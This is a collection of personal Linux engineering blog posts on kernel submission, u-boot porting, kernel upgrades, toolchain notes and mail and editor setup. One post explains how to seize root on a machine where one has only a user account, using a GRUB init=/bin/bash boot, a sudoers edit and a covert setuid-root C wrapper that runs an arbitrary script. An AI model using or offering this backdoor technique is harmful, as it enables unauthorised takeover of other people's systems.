Linux Kernel Submission

I think it is time to summarize my experience in the submission of bcmring architecture into the linux kernel.

You may find my contribution to the kernel 2.6.32 in the following page. Noted Broadcom ranked No. 4 by lines of changes. Mostly by me. :-)
Linux Kernel Development Statistics

1) subscribe to the arm-linux-kernel mailing list
2) send out your first email asking about other people's attitude about submit a driver/architecture
3) prepare your own git tree, better start with the latest git tree
4) port your core code into the git tree, put only the core code and the minimal amount of drivers to start, like core, dma, serial.
5) change the kernel makefile and Kconfig file to support your architecture
6) prepare a arch_defconfig configuration file, this is used to regression test the build of your architecture
7) split your patches into small chunk
8) run Lindent to make sure there is no errors nor warnings. A lot of kernel developers are picky, you'd prepared to reformat your code, rename the variables as much as possible
9) try a submission, with detailed explanation and message
10) be patient
11) get feedback and prepare another set of submission
12) ask for feedback once a week and push to get feedback, until nobody complain about your code
13) repeat until your code is merged

badly punctuated parameter list

I've encountered some strange problem like

"badly punctuated parameter list" in macro definition for C when I was compiling perl modules on Solaris platform. After my research, I found that it is due to ancient gcc, like 2.81 can't process the following macro definition.

#define my_snprintf(buffer, len, ...) snprintf(buffer, len, __VA_ARGS__)

You have to change it to a more compatible form like the following.

#define my_snprintf(buffer, len, ARGS...) snprintf(buffer, len, ##ARGS)

hidden arguments, easter egg, or what?

I just learned today that there is a hidden argument of 'date' command under Linux.

It is 'date --iso=seconds', which is equivalent to 'date +%FT%T%z' command.

The '--iso=seconds' argument is not recorded in the manual nor usage help.   However, it is not supported in Solaris. So, I fixed a script problem today by replacing the non-standard --iso=seconds argument with the +%FT%T%z argument for date.

I found another hidden argument of the 'cov-maintain-db' command in coverity prevent 4.5.  You may use 'cov-maintain-db --raw-db' command to open a 'sqlite' shell on the coverity database. However, AFAIK, coverity is moving to postgre sql database in their latest release.  So, this hidden argument becomes useless.

In my 10 years experiences in computing industry, it's funny to know that there are actually so many un-documented command, arguments, or APIs everywhere. It's the easter egg and trick of the IT industry.  It's so universal and it seems everyone, every company is fond of doing this, as a demonstration of their power over end users. :-)

That's why I like open source software.  You may dig into the source code to uncover many hidden or un-official stuffs.

--
Hao Leo Chen
http://leochen.net

coverity

I am recently working on the Coverity Prevent product, which is a static source code analysis tool to identify possible bugs in the source code.  The tool is pretty cool, originally developed in Stanford University. It's gaining a lot of momentum recently with mature products and backed by VC.  Looks like many big companies are jumping onto the board of Coverity.  It's a promising tool.  But I think the final fate of the company or the best deal would be sold to big software companies like Microsoft or Symantec.  Anyway, it's a good tool and I am the administrator of the tool in my department of Ericsson Canada.

--
Hao Leo Chen
http://leochen.net

How to hack the Linux box to get root permission

You have a Linux box with you, but you have only a normal user account.  You want to hack this box and get root permission.  Now, you have a solution.

Note. the following procedure works only when you use Grub boot loader. Never tested with Lilo.

1. reboot your machine
2. before boot to Linux, press some key to bring up your boot loader interface
3. press "e" to edit your boot loader line, in Grub
4. add "init=/bin/bash", or "init=/bin/sh" to the end of your booting line
5. press Enter and then press "b" to boot
6. your system booted and you are root now, without login
7. Bingo.  You can hijack the system now. :-)
8. To be a good citizen, I would recommend to add  your own user id into the /etc/sudoers file, by using "visudo" command.
you can "sudo bash" to get a shell with root permission.  You don't know the root password yet, but you can get the root permission. But this way, the root will know it's you who hacked the system by checking the "/etc/sudoers" file.
9. To do something more secret, you can get a suid program executing your script as root.

I have got a C program, you may build it and set the suid.

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <unistd.h>

int main()

{

   setuid(0);

   system("/tmp/myscript.sh");

   return 0;

}

10. save the program as t.c
11. gcc -o go t.c
12. chmod 4755 go

Now, you can put anything you want in /tmp/myscript.sh and run go. The /tmp/myscript.sh will be executed as root by go. Wow!

Don't do anything stupid to get  yourself into trouble. Just a demonstration of some hacking technique on Linux system.

mutt, fetchmail, procmail, and mini_sendmail

In recent days, I've managed to setup mutt, together with fetchmail, procmail, and mini_sendmail in my working environment.

Mutt is my favorite MUA, mail user agent, due to it's simplicity, speed and powerful configuration.
Fetchmail is used to grab mails from pop/imap server and deliver the mails to local directory.
Procmail is used to classify the mails received, based on very flexible regex based rules and actions which are script-able.
mini_sendmail is used as the MTA to contact the SMTP server, for sending email for mutt, if your system's sendmail is not configured as smart host.

The setup of my environment.

Fetchmail's configuration for IMAP server

Procmail's configuration

Mutt configuration

Wordpress vs. Drupal

I recently installed wordpress and drupal on my two websites.
Wordpress on http://alrishachen.com
Drupal on http://alrisha.ca

I'd compare those two popular CMS based on my own experience.

* installation. Both are easy to install/deploy on your hosting server.  You just need to untar the tarball and setup database, usually MySQL based on the document.  Then, you run the install page and input necessary data and you are done! I'd say wordpress is easier than drupal. The installation of wordpress is faster, with less to worry.

* administration. Once you installed the system, you'd login as the administrator and to configure your website and add contents.  As wordpress is generally regarded as a blog system, I used it for a blog.  The default administration interface of wordpress is both easy and powerful. Drupal is targeting a more generic website, thus, the administration is more complicated with a lot of settings.  It should be intimidating for a small website admin to learn to use Drupal.  But, I can see that Drupal provided more controls, especially role based user permission management.  I would say this point, they are even.  Although the wordpress interface is more intuitive for beginners.

* theme. Wordpress is a winner in terms of themes.  There are a lot of themes provided by the community for wordpress.  The preview of the themes looks good and it is easier to apply the themes.  On the other hand, the themes provided by Drupal seemed providing more control over the layout/block of the website to designers.  For admin like me, without too much designer background, I love the beautiful themes in wordpress.

* module/plugin. Both of them have a huge amount of modules/plugins available.  Modules for Wordpress are easy to install, but with FTP permission only.

* overall. I'd love to use wordpress for small website, especially blog like style websites.  Drupal seemed more flexible in configuring website and provided more controls. If you spend more time on website design and are willing to learn Drupal, you may choose Drupal.  If  you just need a quick website setup for a certain purpose, I'd recommend Wordpress.

Anyway, the comparison is based on my limited experience of using those two CMS and personal preference.  I may have some different opinion later on with more use and requirement.  I'd like to try other popular CMS as well, such as Joomla. More reviews may come later.

linking with multiple definition of functions

I had fixed a linking problem today. The problem was caused by multiple definitions of the same function name. The linker complains about the multiple definitions of the same function. The solution is to add "-z muldefs" to the LDFLAGS, so that the linker will accept multiple definitions and just link the function it encountered first into the final ELF file. This maybe dangerous, as your final image may be different if the linking order of the object files changed. So, be careful when you use this option. We used this option as we have defined some of our own stdio functions with the same name as the standard stdio functions. During the linking stage, they will give the multiple definition errors. We just need to place our own implementation of the stdio functions in front of the newlib stdio library.

A better solution was to rename our functions to different function names other than the stdio function names. In this case, it won't cause further confusion.

I finally found that I had fixed this problem with bcmring platform a year ago and I have to fix it for the bcmhana platform again. The engineer who ported the makefile to bcmhana didn't pay enough attention to this option.

u-boot works now

I finally get u-boot working on our bcmring platform on Friday. I had the hunch on Thursday that the ATAG parameters were not set properly that kernel can't boot. I used JTAG to examine the memory where the ATAG paramters stored. By comparing the memory content set by the working boot2 loader and the u-boot, I found that the command line for kernel wasn't set at all in u-boot. It turns out to be a configuration error in the configuration header files. By setting the proper command line for kernel, I can finally boot the kernel by using u-boot. That's a big progress and I made the u-boot works in two weeks.

In doing this project, I got more understanding of the kernel booting procedure, the ATAG parameters, and u-boot itself. After discussing with my lead, the upcoming work for u-boot includes:

* deliver the changes into linux-c for u-boot support, with proper parameters and configurations.
* upgrade u-boot to the latest version and get it working on bcmring platform.
* port ethernet driver to u-boot, so that the network boot and network rootfs will be supported.
* if time permits, I may get u-boot or other bootloader working for bcmhana as well.

u-boot again

I am still working the u-boot project. After I got the ARM realview ice debugger, my life is easier, but still tough. I traced the assembly code of Linux kernel and compare the execution of the same kernel booted by both boot2 and u-boot. As the boot2 can successfully boot the kernel image, I just need to make sure u-boot can get to the same state that u-boot created for the kernel.

I figured out the memory starting address configuration is not set to proper value in u-boot today, but checking the kernel parameters. However, after I modified the u-boot code, I still can't get through the same point in kernel image. Anyway, there is a problem to be fixed. I'd keep working on that tomorrow, by checking the memory set by boot2/uboot, before the kernel booted.

The Linux kernel needs some settings in ATAG. Those settings will be read by kernel during the boot stage. There are several ATAG parameters, like the memory starting address, size, command line, arch id, etc.

u-boot

I have been working on u-boot since last week. I need to port u-boot to our bcmring platform.

We have some example from another team of Broadcom to support u-boot on the 2153 platform, which has a similar ARM core with our bcmring platform.

I got the u-boot to build last week. Since this week, I learned to use JTAG to load the u-boot elf file into the memory of the platform after ddr initialization. I ported the UART driver and then the timer driver. Yesterday, I was able to boot to u-boot shell with JTAG. That's a good milestone.

Today, I studied our 1st boot loader (boot1) and the relation between the boot1 and boot2, the second stage boot loader. As I was trying to replace boot2 with u-boot, after I figured out the memory map of boot2, with the help of Darwin, I managed to load u-boot from boot1 and boot to u-boot shell without using JTAG. That's a big success. I can then work on the nand driver to get u-boot to boot our kernel.

The ethernet driver, sd/mmc support will be followed after the nand driver.

udev 150

I've successfully updated udev for our target from 142 to 150 versions. I've added three patches to fix the compile errors. Those patches are introduced because the kernel header used in our toolchain is older than the latest version, like the inotify_init1 system call is not available in our version of toolchain. I have to use the inotify_init system call instead.

Anyway, it works in my first attempt. The old 142 version was ported by an intern, with too much modification to the makefiles/configure scripts. Those patches are 90% of junk, I would say. Anyway, the newer version is more maintainable now.

udev

I've got udev working on our platform. It's initially ported by an intern, but it seemed not working before he left. The problem was due to the kernel configuration. Once I sorted out the proper kernel configuration, udevd started properly and it works. The ota also worked with the udev. The previous port of udev was udev 142 version, which is rather old. I am porting the 150 version to our system.

Toolchain study digest

Some information I learned recently about GNU GCC toolchain and related topic from the book "Professional Linux Programming". Although I am familiar with most of the content, I'd just record here for a better memory.

* -fPIC (position independent code), used to generate code can be executed anywhere in the kernel, usually used to generate shared library.

* -shared -o libfoo.so, generate shared library directly, convenience provided by GCC.

* LD_LIBRARY_PATH, specify the additional path to shared library, other than regular /lib, /usr/lib ... directories.

GCC options:

* General Options:
-c (compilation only)
-S (generate assembly code)

* Language Options:
-ansi (ansi C90 standard)
-std=c89, gnu89, c99, gnu89 (use various ANSI C standards, or GNU C standards)
-fno-builtin (do not use the built-in version of printf/memcpy/etc in gcc, use external library version)

* Warning Levels:
-pedantic (strictly follow C standard, give warnings, or -pedantic-errors)
-Wformat (one of many warnings to check the code)
-Wall (a wide range of warnings)

* Debugging:
-g

* Optimization:
-O0, -O3
-Os

* Hardware options:
-march
-msoft-float
-mbig-endian, -mlittle-endian
-mabi

GNU Binutils

Assembler:

as -o foo.o foo.s

Linker:

ELF: Executable and Linking Format
crtbegin.o, crtend.o
Linking script: /usr/lib/ldscripts

Objcpy and objdump:
objdump -x -d -S hello_world

Kernel and toolchain:
* inline assembly
__asm__ __volatile__
* __attribute__, section, alignment, alias
* custom linker script, arch//kernel/vmlinux.lds

Useful Mutt documents and tips

I have started to use mutt as my main email client for a couple of months. It is powerful and convenient, especially for me as I am a lover of terminal programs.

I'd collect mutt relevant document here.

Training your mutt. http://www.linux.com/archive/articles/58760

Vim tricks

I've read another blog today about Efficient Editing with Vim. I learned some new tricks as the follows.

* g + h,j,k,l, to move screen line instead of real line. This can be real useful when you are editing an email with long lines.
* fx, Fx, go forward/backword to the next occurrence of x.
* (, ), move to the next sentence or the previous sentence
* xG, goto the xth line, the same as :x, just faster
* H, M, L, move to the top, middle, and end of the screen

kernel upgrade to 2.6.27 for mips/arm platform

I have encountered other interesting issue when I was upgrading the kernel from 2.6.23 to 2.6.27 for our MIPS32 platform.

1. the timer, as in 2.6.24 or later, the default MIPS timer has been separated from the old timer code. For our architecture used the default cp0 comparison based timer, we need to enable the r4k timer to get the timer working. I spend couple of days to understand this change. The start_kernel function was able to proceed after the proper is enabled. However, we do have a timer block in our chip, and we can set the timer to a certain frequency as an individual timer source. In my later debugging process, I have enabled the timer block and use our own timer source. It also works.

2. the cache should be disabled when kernel started and re-enable later on. In 2.6.23, the cache was enabled by default. However, in 2.6.27 or some version later than 2.6.23, the cache was configurable by a kernel option "cca=" and it is disabled by default. This change really hurts me. As there are so many changes from 23 to 27 kernel, it is almost impossible for me to notice this change at first. What I have observed at first was the slowness of the system. The BogoMips dropped from about 273 to 3, which is unbelievable. I was doubting the correctness of the timer function at the beginning. I scrutinized the code and well studied the new timer implementation. I even implemented our own timer by using the timer block in our chip. Those doesn't help either. The system was able to boot to busybox but it is really slow. I accidentally tried to use our performance counter program to measure the performance. The performance counter reported the cache hit is 0, which means that there is no cache enabled. I checked our private i/d cache register and they seems enabled. However, I forget to check the setting of the cp0 register of MIPS. There is another setting to enable/disable cache policy. I used a very stupid and old method to pinpoint the problem. I added NOP test to both 23 and 27 kernels. In 23 kernel, when the cache is enabled, the NOP test gives much lower CPI (clock per instruction), otherwise the CPI is high. In 27 kernel, the CPI doesn't change. I tried to figure out the exact point where the CPI drop 23 kernel and check the corresponding code in 27 kernel. I finally found that the default cache policy was disable in 27 kernel, while it is enabled in 23 kernel. By adding the "cca=3" kernel command line option, everything backs to normal, BogoMips, kernel boots properly.


3. Export symbol and export symbol gpl'ed. If your driver, kernel module used the latter symbols, your driver/kernel module must be gpl'ed. This can cause problem for us as we don't want to open source all our kernel modules, especially wlan driver. We deliver binary kernel module for our wlan drivers.

kernel upgrade to 2.6.27

I had just fixed a network driver bug when I upgrade the kernel from 2.6.23 to 2.6.27 for our MIPS platform. It takes couple of weeks. The original problem appears when the NAPI was used in network driver and I changed the net_poll function accordingly. Then, I got kernel panic with memory access failure. After long time debugging, I found that there is some problem when the driver tries to figure out the address of skb out of the skb->data structure. This is weird because the same code was used in both 2.6.23 kernel and 2.6.27 kernel. The original author of the network driver gave some hints that he had experienced similar problem when he was creating a network driver for our next generation chip, based on the old driver. He mentioned that the original driver was confused about the physical/virtual address when accessing the dma'ed memory. This is quite helpful. I spend a whole day dig into this issue, and studied the new driver for next generation chip. After replacing the memory allocation function for the skb buffer, I finally got the proper method to access the memory. I've learned about the physical/virtual/bus address when accessing memory in kernel. The principle was simple as stated by Linus, "use virtual address when accessing memory in kernel, and use bus address when the memory was given to device". In some architecture, the bus address is identical to physical address. Never use physical address directly. The functions: phys_to_virt, virt_to_bus, bus_to_virt, virt_to_phys, are all helper functions.

It seems that we still had a lot of bugs in our network driver. Apparently, our engineers haven't had enough knowledge creating drivers in Linux. Most of their experience was in VxWorks, with flat memory model.

kernel upgrade

I am recently working on kernel upgrade from 2.6.23.17 to 2.6.27-rc5 for our VoIP SoCs.

The following are lessons I learned this time.

* use git to help migrate the patches, as we manage patches in our system, not by git. So, we may use git to help migrate the patches.
* get a kernel git tree (git fetch)
* check out a branch for your current kernel version (git branch, git checkout)
* patch the git tree with your patches (patch, git commit)
* rebase the git tree to the newer kernel (git rebase)
* resolve conflict, for each resolved conflict, remember your changes (git rerere)
* once resolved all conflicts, generate new patches for the new kernel (git format-patch)


* to get your new kernel built for the platform at first
* use make oldconfig to migrate the kernel configurations
* keep all the old configuration as much as possible

* turn on most of the kernel debug option, like early_printk, printk_with_time, spinlock, etc.

* If it doesn't boot, there may be a lot of reasons
* check kernel dump, especially the dumped code, disassemble the whole kernel to figure out where the dump happened
* there are usually a big change in each major version of kernel, such as timer change in mips architecture, path and inclusion changes in arm architecture, sd/mmc infrastructure changes, be very careful.

vmlinux.lds

The vmlinux.lds is the linker script for the linux kernel. It is generated/stored in arch/mips/boot/compressed directory for mips architecture. For x86 architecture, it is stored in arch/x86/boot/compressed directory.